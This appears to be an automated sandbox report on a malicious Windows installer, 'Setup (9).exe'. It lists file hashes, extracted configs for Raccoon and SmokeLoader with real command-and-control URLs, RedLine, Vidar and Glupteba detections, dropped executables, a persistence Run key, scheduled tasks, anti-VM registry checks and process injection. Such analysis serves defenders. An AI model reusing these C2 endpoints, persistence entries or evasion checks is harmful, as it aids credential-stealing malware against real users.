Overview
overview
10Static
static
Setup (1).exe
windows11_x64
10Setup (10).exe
windows11_x64
10Setup (11).exe
windows11_x64
10Setup (12).exe
windows11_x64
10Setup (13).exe
windows11_x64
10Setup (14).exe
windows11_x64
10Setup (15).exe
windows11_x64
10Setup (16).exe
windows11_x64
10Setup (17).exe
windows11_x64
10Setup (18).exe
windows11_x64
10Setup (19).exe
windows11_x64
10Setup (2).exe
windows11_x64
10Setup (20).exe
windows11_x64
10Setup (21).exe
windows11_x64
10Setup (22).exe
windows11_x64
10Setup (23).exe
windows11_x64
10Setup (24).exe
windows11_x64
10Setup (25).exe
windows11_x64
10Setup (26).exe
windows11_x64
10Setup (27).exe
windows11_x64
10Setup (28).exe
windows11_x64
10Setup (29).exe
windows11_x64
10Setup (3).exe
windows11_x64
10Setup (30).exe
windows11_x64
10Setup (31).exe
windows11_x64
10Setup (4).exe
windows11_x64
10Setup (5).exe
windows11_x64
10Setup (6).exe
windows11_x64
10Setup (7).exe
windows11_x64
10Setup (8).exe
windows11_x64
10Setup (9).exe
windows11_x64
10Setup.exe
windows11_x64
10Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
99s -
max time network
1814s -
platform
windows11_x64 -
resource
win11 -
submitted
31-08-2021 21:47
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup (10).exe
Resource
win11
Behavioral task
behavioral3
Sample
Setup (11).exe
Resource
win11
Behavioral task
behavioral4
Sample
Setup (12).exe
Resource
win11
Behavioral task
behavioral5
Sample
Setup (13).exe
Resource
win11
Behavioral task
behavioral6
Sample
Setup (14).exe
Resource
win11
Behavioral task
behavioral7
Sample
Setup (15).exe
Resource
win11
Behavioral task
behavioral8
Sample
Setup (16).exe
Resource
win11
Behavioral task
behavioral9
Sample
Setup (17).exe
Resource
win11
Behavioral task
behavioral10
Sample
Setup (18).exe
Resource
win11
Behavioral task
behavioral11
Sample
Setup (19).exe
Resource
win11
Behavioral task
behavioral12
Sample
Setup (2).exe
Resource
win11
Behavioral task
behavioral13
Sample
Setup (20).exe
Resource
win11
Behavioral task
behavioral14
Sample
Setup (21).exe
Resource
win11
Behavioral task
behavioral15
Sample
Setup (22).exe
Resource
win11
Behavioral task
behavioral16
Sample
Setup (23).exe
Resource
win11
Behavioral task
behavioral17
Sample
Setup (24).exe
Resource
win11
Behavioral task
behavioral18
Sample
Setup (25).exe
Resource
win11
Behavioral task
behavioral19
Sample
Setup (26).exe
Resource
win11
Behavioral task
behavioral20
Sample
Setup (27).exe
Resource
win11
Behavioral task
behavioral21
Sample
Setup (28).exe
Resource
win11
Behavioral task
behavioral22
Sample
Setup (29).exe
Resource
win11
Behavioral task
behavioral23
Sample
Setup (3).exe
Resource
win11
Behavioral task
behavioral24
Sample
Setup (30).exe
Resource
win11
Behavioral task
behavioral25
Sample
Setup (31).exe
Resource
win11
Behavioral task
behavioral26
Sample
Setup (4).exe
Resource
win11
Behavioral task
behavioral27
Sample
Setup (5).exe
Resource
win11
Behavioral task
behavioral28
Sample
Setup (6).exe
Resource
win11
Behavioral task
behavioral29
Sample
Setup (7).exe
Resource
win11
Behavioral task
behavioral30
Sample
Setup (8).exe
Resource
win11
Behavioral task
behavioral31
Sample
Setup (9).exe
Resource
win11
Behavioral task
behavioral32
Sample
Setup.exe
Resource
win11
General
-
Target
Setup (9).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
raccoon
10c753321b3ff323727f510579572aa4c5ea00cb
-
url4cnc
https://telete.in/bimboDinotrex
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 1 IoCs
resource yara_rule behavioral31/memory/1436-305-0x0000000004360000-0x0000000004C86000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4928 4824 rundll32.exe 13 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6164 4824 rUNdlL32.eXe 13 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 13812 4824 rundll32.exe 13 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 14 IoCs
resource yara_rule behavioral31/memory/4060-342-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/780-356-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/1216-355-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/5640-434-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/5496-410-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/5456-403-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/2468-465-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/3744-463-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/5496-489-0x0000000005990000-0x0000000005F36000-memory.dmp family_redline behavioral31/memory/5548-504-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/3744-538-0x00000000052D0000-0x0000000005876000-memory.dmp family_redline behavioral31/memory/1556-546-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/5004-542-0x0000000000000000-mapping.dmp family_redline behavioral31/memory/5636-559-0x0000000000000000-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
description pid Process procid_target PID 4136 created 2776 4136 WerFault.exe 103 PID 2956 created 852 2956 WerFault.exe 99 PID 1892 created 1436 1892 WerFault.exe 94 PID 5848 created 4928 5848 WerFault.exe 199 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral31/memory/4928-388-0x0000000000780000-0x0000000000853000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 44 IoCs
pid Process 4364 boArBZOVxq_SZiOyaTz0bb_H.exe 4836 wlTQlQ6vqAuQGsPEhg161kpy.exe 4944 m9Ig_FB1zNcgA48YXDvGnGtX.exe 4928 xvOTdaL7NVTvibdGwDQ26Lc_.exe 3168 ISK1no2SA3_AfvFBvvJ9zdBn.exe 4440 rwxwxwueOhzzCa3Whq6xbAzE.exe 3028 01Vr4ypklmEXrPm2DwRnQojp.exe 2776 vMliubuLWmHU_Egh64aRJygt.exe 588 GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe 668 ErNv1QBucJ0gZsbLbUx2kPWb.exe 1016 4cw14okSL5_mCRZy085bzMao.exe 852 oziqMyogmbgoot2gv4ZEITap.exe 1164 _8MIjRVTP5_LNrZl9N4ZKUBG.exe 1188 8zOoXA1YGCr9hqtAHZ0083D7.exe 1372 zzANh4C1O89ZQHrVgt0Wo39y.exe 896 VxQkpeiY14Kpe7Kde_qqMw8h.exe 1436 pjQMZqs0RfBwM0djZskb9ToS.exe 2380 RpxnR_WSuBhXwjlPVDEwWcBq.exe 2440 gGAYMSq0etjMtxtuQ0YJwWZF.exe 2968 FGSrq8D_cmnVT5vvnwNZvPbp.exe 556 2c0ByuzAkkVZnWPcI8oS_ye1.exe 1288 1UJcitGiqu3wM24cY9eJAvu7.exe 1512 bbZGVKHIO8mrJiFxN1KwgUBa.exe 2168 4k1v2cfRFjOEhcczs_W9hwUB.exe 2280 wlTQlQ6vqAuQGsPEhg161kpy.exe 1168 inst001.exe 4852 1UJcitGiqu3wM24cY9eJAvu7.tmp 4820 cutm3.exe 3668 md8_8eus.exe 2108 KBAvfsr.exe 3444 4k1v2cfRFjOEhcczs_W9hwUB.exe 4060 GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe 2908 ISK1no2SA3_AfvFBvvJ9zdBn.exe 1216 rwxwxwueOhzzCa3Whq6xbAzE.exe 780 2c0ByuzAkkVZnWPcI8oS_ye1.exe 5836 1333301.exe 5968 2258295.exe 5456 GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe 6020 IQ0V_Fe_.eXE 6040 3959552.exe 5496 ISK1no2SA3_AfvFBvvJ9zdBn.exe 5672 2c0ByuzAkkVZnWPcI8oS_ye1.exe 2528 7083134.exe 5640 rwxwxwueOhzzCa3Whq6xbAzE.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 01Vr4ypklmEXrPm2DwRnQojp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 01Vr4ypklmEXrPm2DwRnQojp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion gGAYMSq0etjMtxtuQ0YJwWZF.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion gGAYMSq0etjMtxtuQ0YJwWZF.exe -
Loads dropped DLL 2 IoCs
pid Process 4852 1UJcitGiqu3wM24cY9eJAvu7.tmp 4852 1UJcitGiqu3wM24cY9eJAvu7.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral31/files/0x000200000002b1fe-192.dat themida behavioral31/files/0x000200000002b1f5-174.dat themida behavioral31/files/0x000c00000002b205-201.dat themida behavioral31/files/0x000200000002b1fe-229.dat themida behavioral31/files/0x000c00000002b205-239.dat themida behavioral31/files/0x000200000002b1f5-221.dat themida behavioral31/memory/3028-306-0x0000000000310000-0x0000000000311000-memory.dmp themida behavioral31/memory/2440-313-0x00000000003D0000-0x00000000003D1000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2258295.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 01Vr4ypklmEXrPm2DwRnQojp.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA gGAYMSq0etjMtxtuQ0YJwWZF.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 756 ipinfo.io 160 ipinfo.io 297 ipinfo.io 114 ip-api.com 114 ipinfo.io 163 ipinfo.io 218 ipinfo.io 407 ipinfo.io 754 ipinfo.io 26 ipinfo.io 72 ipinfo.io 999 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3028 01Vr4ypklmEXrPm2DwRnQojp.exe 2440 gGAYMSq0etjMtxtuQ0YJwWZF.exe -
Suspicious use of SetThreadContext 7 IoCs
description pid Process procid_target PID 4836 set thread context of 2280 4836 wlTQlQ6vqAuQGsPEhg161kpy.exe 121 PID 588 set thread context of 4060 588 GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe 146 PID 4440 set thread context of 1216 4440 rwxwxwueOhzzCa3Whq6xbAzE.exe 141 PID 556 set thread context of 780 556 2c0ByuzAkkVZnWPcI8oS_ye1.exe 143 PID 588 set thread context of 5456 588 GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe 150 PID 3168 set thread context of 5496 3168 ISK1no2SA3_AfvFBvvJ9zdBn.exe 151 PID 4440 set thread context of 5640 4440 rwxwxwueOhzzCa3Whq6xbAzE.exe 170 -
Drops file in Program Files directory 7 IoCs
description ioc Process File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe 8zOoXA1YGCr9hqtAHZ0083D7.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe 8zOoXA1YGCr9hqtAHZ0083D7.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe 4cw14okSL5_mCRZy085bzMao.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe 4cw14okSL5_mCRZy085bzMao.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe 4cw14okSL5_mCRZy085bzMao.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe 4cw14okSL5_mCRZy085bzMao.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini 4cw14okSL5_mCRZy085bzMao.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp Process not Found -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 26 IoCs
pid pid_target Process procid_target 5004 852 WerFault.exe 99 2336 2776 WerFault.exe 103 3504 1436 WerFault.exe 94 6080 4928 WerFault.exe 92 5164 5484 WerFault.exe 200 6352 2108 WerFault.exe 128 6364 6928 WerFault.exe 224 3224 7164 WerFault.exe 227 8172 7260 WerFault.exe 250 1468 2292 WerFault.exe 262 6364 5836 WerFault.exe 155 7468 1464 WerFault.exe 354 1040 8248 WerFault.exe 350 6388 1860 WerFault.exe 256 7424 8852 WerFault.exe 336 10120 900 WerFault.exe 164 9356 7228 WerFault.exe 332 9972 900 WerFault.exe 164 14232 7940 WerFault.exe 272 8636 11480 WerFault.exe 511 11580 1980 WerFault.exe 383 3224 11480 WerFault.exe 511 14920 7940 WerFault.exe 272 6756 5416 WerFault.exe 599 1412 1980 WerFault.exe 383 10324 5416 WerFault.exe 599 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI wlTQlQ6vqAuQGsPEhg161kpy.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI wlTQlQ6vqAuQGsPEhg161kpy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI wlTQlQ6vqAuQGsPEhg161kpy.exe -
Checks processor information in registry 2 TTPs 21 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString rwxwxwueOhzzCa3Whq6xbAzE.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1516 schtasks.exe 72 schtasks.exe 9440 schtasks.exe 9708 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 5220 timeout.exe 14492 timeout.exe -
Enumerates system info in registry 2 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Process not Found Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS rwxwxwueOhzzCa3Whq6xbAzE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU rwxwxwueOhzzCa3Whq6xbAzE.exe -
Kills process with taskkill 2 IoCs
pid Process 3084 taskkill.exe 9964 taskkill.exe -
Modifies data under HKEY_USERS 40 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs sihclient.exe -
Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\ Process not Found Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Process not Found Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\ Process not Found -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 8632 PING.EXE -
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 161 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 173 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 213 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 743 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 833 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1437 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3040 Setup (9).exe 3040 Setup (9).exe 2280 wlTQlQ6vqAuQGsPEhg161kpy.exe 2280 wlTQlQ6vqAuQGsPEhg161kpy.exe 5004 rwxwxwueOhzzCa3Whq6xbAzE.exe 5004 rwxwxwueOhzzCa3Whq6xbAzE.exe 2336 Process not Found 2336 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3504 WerFault.exe 3504 WerFault.exe 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found 3100 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2280 wlTQlQ6vqAuQGsPEhg161kpy.exe -
Suspicious use of AdjustPrivilegeToken 29 IoCs
description pid Process Token: SeDebugPrivilege 1512 bbZGVKHIO8mrJiFxN1KwgUBa.exe Token: SeDebugPrivilege 4364 boArBZOVxq_SZiOyaTz0bb_H.exe Token: SeRestorePrivilege 2336 Process not Found Token: SeBackupPrivilege 2336 Process not Found Token: SeBackupPrivilege 2336 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeDebugPrivilege 3084 taskkill.exe Token: SeDebugPrivilege 5836 1333301.exe Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found Token: SeShutdownPrivilege 3100 Process not Found Token: SeCreatePagefilePrivilege 3100 Process not Found -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4852 1UJcitGiqu3wM24cY9eJAvu7.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
